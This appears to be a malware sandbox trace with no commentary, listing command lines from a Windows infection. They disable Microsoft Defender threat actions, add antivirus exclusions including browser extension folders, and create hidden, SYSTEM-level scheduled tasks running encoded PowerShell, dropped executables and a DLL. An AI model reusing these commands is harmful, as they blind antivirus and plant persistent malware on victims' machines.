"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\JipyTrDkU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\JipyTrDkU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\YLgKyOFzWxOqC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\YLgKyOFzWxOqC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\krdeMCnRKomDOvwVunR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\krdeMCnRKomDOvwVunR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\nFLFFjqrQPUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\nFLFFjqrQPUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\tegRANPZONsU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\tegRANPZONsU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\fcblnlcRRSrBhAVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\fcblnlcRRSrBhAVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\SiHRhjyUhlpwxPXaT\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\SiHRhjyUhlpwxPXaT\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\ZmzskowerwXEonlG\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\ZmzskowerwXEonlG\" /t REG_DWORD /d 0 /reg:64;"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\JipyTrDkU" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\JipyTrDkU" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\JipyTrDkU" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YLgKyOFzWxOqC" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YLgKyOFzWxOqC" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\krdeMCnRKomDOvwVunR" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\krdeMCnRKomDOvwVunR" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\nFLFFjqrQPUn" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\nFLFFjqrQPUn" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\tegRANPZONsU2" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\tegRANPZONsU2" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\fcblnlcRRSrBhAVB /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\fcblnlcRRSrBhAVB /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\SiHRhjyUhlpwxPXaT /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\SiHRhjyUhlpwxPXaT /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\ZmzskowerwXEonlG /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\ZmzskowerwXEonlG /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "geOTPimOf" /SC once /ST 00:00:36 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="

C:\Windows\SysWOW64\schtasks.exe

schtasks /run /I /tn "geOTPimOf"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==

C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe

"C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4xODcuMzkiIHNoZWxsX3ZlcnNpb249IjEuMy4xODcuMzkiIGlzbWFjaGluZT0iMSIgc2Vzc2lvbmlkPSJ7NkEzNjA5OTItQ0M1My00MzNELTlCMTAtMEEyQTgyNjlCOTU1fSIgdXNlcmlkPSJ7NUE0QjgwM0YtODhDRS00MEM3LTkxRTEtNDdDMzg1NEE3NTc0fSIgaW5zdGFsbHNvdXJjZT0ib3RoZXJpbnN0YWxsY21kIiByZXF1ZXN0aWQ9Ins0RjM0ODcyNS05NUIzLTRBOTQtQjQ2My00MEI3MkI3QjNEQTZ9IiBkZWR1cD0iY3IiIGRvbWFpbmpvaW5lZD0iMCI-PGh3IGxvZ2ljYWxfY3B1cz0iOCIgcGh5c21lbW9yeT0iOCIgZGlza190eXBlPSIyIiBzc2U9IjEiIHNzZTI9IjEiIHNzZTM9IjEiIHNzc2UzPSIxIiBzc2U0MT0iMSIgc3NlNDI9IjEiIGF2eD0iMSIvPjxvcyBwbGF0Zm9ybT0id2luIiB2ZXJzaW9uPSIxMC4wLjE5MDQxLjEyODgiIHNwPSIiIGFyY2g9Ing2NCIgcHJvZHVjdF90eXBlPSI0OCIgaXNfd2lwPSIwIiBpc19pbl9sb2NrZG93bl9tb2RlPSIwIi8-PG9lbSBwcm9kdWN0X21hbnVmYWN0dXJlcj0iIiBwcm9kdWN0X25hbWU9IiIvPjxleHAgZXRhZz0iJnF1b3Q7VlBRb1AxRitmcTE1d1J6aDFrUEw0UE1wV2g4T1JNQjVpenZyT0MvY2hqUT0mcXVvdDsiLz48YXBwIGFwcGlkPSJ7RjMwMTcyMjYtRkUyQS00Mjk1LThCREYtMDBDM0E5QTdFNEM1fSIgdmVyc2lvbj0iIiBuZXh0dmVyc2lvbj0iMTI1LjAuMjUzNS43OSIgbGFuZz0iIiBicmFuZD0iIiBjbGllbnQ9IiIgZXhwZXJpbWVudHM9ImNvbnNlbnQ9ZmFsc2UiIGluc3RhbGxhZ2U9Ii0xIiBpbnN0YWxsZGF0ZT0iLTEiPjx1cGRhdGVjaGVjay8-PGV2ZW50IGV2ZW50dHlwZT0iOSIgZXZlbnRyZXN1bHQ9IjEiIGVycm9yY29kZT0iMCIgZXh0cmFjb2RlMT0iMCIgc3lzdGVtX3VwdGltZV90aWNrcz0iNDkwOTQ5ODkxMCIgZG9uZV9iZWZvcmVfb29iZV9jb21wbGV0ZT0iMCIvPjxldmVudCBldmVudHR5cGU9IjUiIGV2ZW50cmVzdWx0PSIxIiBlcnJvcmNvZGU9IjAiIGV4dHJhY29kZTE9IjAiIHN5c3RlbV91cHRpbWVfdGlja3M9IjQ5MDk0OTg5MTAiIGRvbmVfYmVmb3JlX29vYmVfY29tcGxldGU9IjAiLz48ZXZlbnQgZXZlbnR0eXBlPSIxIiBldmVudHJlc3VsdD0iMSIgZXJyb3Jjb2RlPSIwIiBleHRyYWNvZGUxPSIwIiBzeXN0ZW1fdXB0aW1lX3RpY2tzPSI1MTQ5OTY3OTUxIiBzb3VyY2VfdXJsX2luZGV4PSIwIiBkb25lX2JlZm9yZV9vb2JlX2NvbXBsZXRlPSIwIiBkb3dubG9hZGVyPSJiaXRzIiB1cmw9Imh0dHA6Ly9tc2VkZ2UuZi50bHUuZGwuZGVsaXZlcnkubXAubWljcm9zb2Z0LmNvbS9maWxlc3RyZWFtaW5nc2VydmljZS9maWxlcy8wOGMzMGM2ZC02OWViLTQ5N2ItYWQ4Mi1mODQ3ODc5ZTQyNDA_UDE9MTcxNzcyMjQ1NiZhbXA7UDI9NDA0JmFtcDtQMz0yJmFtcDtQND1hTVVwazV0cXQzTjlMdnB5eG9YVyUyYmlYN0toUk0lMmZma29vMTg1bDRIVHhGZVZ0UmlINVJNJTJiM0lka2xEcmJ3aHBtaWlGa3BCOEVzVEVCM1N0THE1R3lOUSUzZCUzZCIgc2VydmVyX2lwX2hpbnQ9IiIgY2RuX2NpZD0iLTEiIGNkbl9jY2M9IiIgY2RuX21zZWRnZV9yZWY9IiIgY2RuX2F6dXJlX3JlZl9vcmlnaW5fc2hpZWxkPSIiIGNkbl9jYWNoZT0iIiBjZG5fcDNwPSIiIGRvd25sb2FkZWQ9IjE3MzcxNjAyNCIgdG90YWw9IjE3MzcxNjAyNCIgZG93bmxvYWRfdGltZV9tcz0iMTU3NjYiLz48ZXZlbnQgZXZlbnR0eXBlPSIxIiBldmVudHJlc3VsdD0iMSIgZXJyb3Jjb2RlPSIwIiBleHRyYWNvZGUxPSIwIiBzeXN0ZW1fdXB0aW1lX3RpY2tzPSI1MTUwMTI0MTY0IiBzb3VyY2VfdXJsX2luZGV4PSIwIiBkb25lX2JlZm9yZV9vb2JlX2NvbXBsZXRlPSIwIi8-PGV2ZW50IGV2ZW50dHlwZT0iNiIgZXZlbnRyZXN1bHQ9IjEiIGVycm9yY29kZT0iMCIgZXh0cmFjb2RlMT0iMCIgc3lzdGVtX3VwdGltZV90aWNrcz0iNTE2ODcxNzg1MSIgZG9uZV9iZWZvcmVfb29iZV9jb21wbGV0ZT0iMCIvPjxldmVudCBldmVudHR5cGU9IjIiIGV2ZW50cmVzdWx0PSIxIiBlcnJvcmNvZGU9IjAiIGV4dHJhY29kZTE9IjE5Njc1NyIgc3lzdGVtX3VwdGltZV90aWNrcz0iNTYzNDY1NTQzMyIgc291cmNlX3VybF9pbmRleD0iMCIgZG9uZV9iZWZvcmVfb29iZV9jb21wbGV0ZT0iMCIgdXBkYXRlX2NoZWNrX3RpbWVfbXM9IjYyNSIgZG93bmxvYWRfdGltZV9tcz0iMjQwNDciIGRvd25sb2FkZWQ9IjE3MzcxNjAyNCIgdG90YWw9IjE3MzcxNjAyNCIgcGFja2FnZV9jYWNoZV9yZXN1bHQ9IjAiIGluc3RhbGxfdGltZV9tcz0iNDY1OTQiLz48L2FwcD48L3JlcXVlc3Q-

C:\Windows\system32\gpupdate.exe

"C:\Windows\system32\gpupdate.exe" /force

C:\Windows\system32\gpscript.exe

gpscript.exe /RefreshSystemParam

C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe

C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe

C:\Users\Admin\AppData\Local\Temp\1000031001\Newoff.exe

C:\Users\Admin\AppData\Local\Temp\1000031001\Newoff.exe

C:\Windows\SysWOW64\schtasks.exe

schtasks /DELETE /F /TN "geOTPimOf"

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "WKALCIrwIEiqhKBsn" /SC once /ST 00:44:21 /RU "SYSTEM" /TR "\"C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\olqSwFh.exe\" y7 /ltrPdidUv 385118 /S" /V1 /F

C:\Windows\SysWOW64\schtasks.exe

schtasks /run /I /tn "WKALCIrwIEiqhKBsn"

C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\olqSwFh.exe

C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\olqSwFh.exe y7 /ltrPdidUv 385118 /S

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 2020 -ip 2020

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 2020 -s 1320

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"

C:\Windows\SysWOW64\cmd.exe

/C powershell start-process -WindowStyle Hidden gpupdate.exe /force

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell start-process -WindowStyle Hidden gpupdate.exe /force

C:\Windows\SysWOW64\gpupdate.exe

"C:\Windows\system32\gpupdate.exe" /force

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc

C:\Windows\SysWOW64\schtasks.exe

schtasks /DELETE /F /TN "bqGGCwwWIommTRgeuN"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\JipyTrDkU\XYMIRt.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "jiLwFdOzPPQiWLm" /V1 /F

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"

C:\Windows\SysWOW64\cmd.exe

/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True

C:\Windows\SysWOW64\Wbem\WMIC.exe

"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "jiLwFdOzPPQiWLm2" /F /xml "C:\Program Files (x86)\JipyTrDkU\TIeJkRr.xml" /RU "SYSTEM"

C:\Windows\SysWOW64\schtasks.exe

schtasks /END /TN "jiLwFdOzPPQiWLm"

C:\Windows\SysWOW64\schtasks.exe

schtasks /DELETE /F /TN "jiLwFdOzPPQiWLm"

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "EyAjTIEydjCaoB" /F /xml "C:\Program Files (x86)\tegRANPZONsU2\hWPRqzu.xml" /RU "SYSTEM"

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "nwujZhVsLEYxr2" /F /xml "C:\ProgramData\fcblnlcRRSrBhAVB\RTXdsFb.xml" /RU "SYSTEM"

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "njgsfWmNUCIAXOmvm2" /F /xml "C:\Program Files (x86)\krdeMCnRKomDOvwVunR\rudlhCc.xml" /RU "SYSTEM"

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "ZXdYLGWImophNcyfuyr2" /F /xml "C:\Program Files (x86)\YLgKyOFzWxOqC\PpoJHVp.xml" /RU "SYSTEM"

C:\Windows\SysWOW64\schtasks.exe

